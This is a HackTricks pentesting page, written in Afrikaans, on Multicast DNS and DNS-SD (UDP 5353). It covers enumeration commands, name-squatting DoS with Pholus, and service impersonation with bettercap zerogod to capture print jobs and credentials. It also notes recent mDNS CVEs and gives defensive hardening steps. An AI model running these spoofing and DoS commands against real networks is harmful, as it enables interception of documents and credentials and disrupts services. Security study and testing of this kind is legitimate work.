5353/UDP Multicast DNS (mDNS) and DNS-SD
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Multicast DNS (mDNS) maak DNS-agtige naamoplossing en diensontdekking binne ’n plaaslike netwerksegment moontlik sonder ’n unicast DNS-bediener. Dit gebruik UDP/5353 en die multicast-adresse 224.0.0.251 (IPv4) en FF02::FB (IPv6). DNS Service Discovery (DNS-SD, tipies saam met mDNS gebruik) bied ’n gestandaardiseerde manier om dienste op te som en te beskryf via PTR-, SRV- en TXT-rekords.
PORT STATE SERVICE
5353/udp open zeroconf
Belangrike protokolbesonderhede wat jy dikwels tydens aanvalle sal benut:
- Name in die .local-sone word via mDNS opgelos.
- QU (Query Unicast) bit mag unicast-antwoorde versoek selfs vir multicast-vrae.
- Implementasies moet pakkette wat nie van die lokale skakel afkomstig is nie ignoreer; sommige stacks aanvaar dit steeds.
- Probing/announcing dwing unieke host-/diensname af; inmenging hier skep DoS/“name squatting”-toestande.
DNS-SD diensmodel
Diensse word geïdentifiseer as _
Netwerkverkenning en enumerasie
- nmap teiken-skandering (direkte mDNS op ’n gasheer):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap uitsending-ontdekking (luister na die segment en enumereer alle DNS-SD tipes/instansies):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Wenk: Sommige blaaiers/WebRTC gebruik efemere mDNS-gashere om plaaslike IP’s te maskeer. As jy random-UUID.local-kandidate op die netwerk sien, los dit op met mDNS om na plaaslike IP’s te pivot.
Aanvalle
mDNS-naamtoetsing-interferensie (DoS / name squatting)
Tydens die toetsingsfase kontroleer ’n gasheer die uniekheid van ’n naam. Om te reageer met gespoofte konflikte dwing dit om nuwe name te kies of te misluk. Dit kan diensregistrasie en -ontdekking vertraag of voorkom.
Voorbeeld met Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Impersonate geadverteerde DNS-SD-dienste (printers, AirPlay, HTTP, file shares) om kliënte te dwing om met jou te verbind. Dit is veral nuttig om:
- Vang dokumente deur spoofing _ipp._tcp of _printer._tcp.
- Lok kliënte na HTTP/HTTPS-dienste om tokens/cookies te oes of payloads af te lewer.
- Kombineer met NTLM relay-tegnieke wanneer Windows-kliënte auth met spoofed services onderhandel.
With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Sien ook generiese LLMNR/NBNS/mDNS/WPAD spoofing en credential capture/relay werkvloei:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Aantekeninge oor onlangse implementeringsprobleme (nuttig vir DoS/persistensie tydens opdragte)
- Avahi reachable-assertion- en D-Bus-krasfoute (2023) kan avahi-daemon op Linux-distribusies beëindig (bv. CVE-2023-38469..38473, CVE-2023-1981), en diensontdekking op teikenhosts ontwrig totdat dit herbegin word.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) laat aangrensende WLAN-kliente gemanipuleerde mDNS vloed, wat WLC se CPU laat piek en AP-tunnels laat val — handig as jy client roaming of controller-herstelle tydens ’n opdrag wil afdwing.
- Apple mDNSResponder logika-fout DoS (CVE-2024-44183) laat ’n sandboxed plaaslike proses Bonjour kras, wat kortliks dienspublikasie/opsoek op Apple-endpunte onderdruk; opgelos in huidige iOS/macOS-weergawes.
- Apple mDNSResponder korrektheidsprobleem (CVE-2025-31222) het lokale privilege-escalasie via mDNSResponder toegelaat; bruikbaar vir persistensie op onbeheerde Macs/iPhones, opgelos in onlangse iOS/macOS-opdaterings.
Browser/WebRTC mDNS-oorwegings
Moderne Chromium/Firefox verduister host candidates met ewekansige mDNS-namens. Jy kan LAN-IP’s op bestuurde endpunte weer blootstel deur die Chrome-beleid WebRtcLocalIpsAllowedUrls af te dwing (of deur chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge-ekwivalent te skakel) sodat ICE host candidates blootstel in plaas van mDNS; stel dit via HKLM\Software\Policies\Google\Chrome.
As gebruikers die beskerming handmatig deaktiveer (algemeen in WebRTC-foutsoekgidse), begin hul blaaiers weer gewone host candidates adverteer, wat jy via mDNS of ICE-signalisering kan vang om host-ontdekking te versnel.
Verdedigings-oorwegings en OPSEC
- Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsonne routeer nie, tensy ’n mDNS-gateway uitdruklik benodig word. As jy ontdekking moet oordra, verkies allowlists en snelheidsbegrenzers.
- Windows-endpunte/bedieners:
- Om naamresolusie via mDNS hard af te skakel, stel die registerwaarde en herbegin:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In bestuurde omgewings, deaktiveer die ingeboude “mDNS (UDP-In)” Windows Defender Firewall-reël (ten minste op die Domain-profiel) om inkomende mDNS-verwerking te voorkom terwyl tuis/roaming-funksionaliteit behou word.
- Op nuwer Windows 11-boues/GPO-templates, gebruik die beleid “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” en stel dit op Disabled.
- Linux (Avahi):
- Beperk publishing wanneer dit nie nodig is nie: stel
disable-publishing=yesen beperk interfaces metallow-interfaces=/deny-interfaces=in/etc/avahi/avahi-daemon.conf. - Oorweeg
check-response-ttl=yesen vermyenable-reflector=yestensy dit streng nodig is; verkiesreflect-filters=allowlists wanneer jy reflekteer. - macOS: Beperk inkomende mDNS by gasheer-/netwerkfirewalls wanneer Bonjour-ontdekking nie vir sekere subnete nodig is nie.
- Monitering: Stel waarskuwings op vir ongewone styginge in
_services._dns-sd._udp.localnavrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens-imitasie.
Gereedskap: vinnige verwysing
- nmap NSE:
dns-service-discoveryenbroadcast-dns-service-discovery. - Pholus: aktiewe skandering, omgekeerde mDNS-sweeps, DoS- en spoofing-hulp.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: ontdek, stoor, adverteer en imiteer mDNS/DNS-SD-dienste (sien voorbeelde hierbo).
Spoofing/MitM
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is ’n MitM in die kommunikasie tussen die kliënt en die werklike bediener. Jy kan moontlik sensitiewe lêers bekom (MitM die kommunikasie met die printer) of selfs kredensiale (Windows-verifikasie).
Vir meer inligting, sien:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Verwysings
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


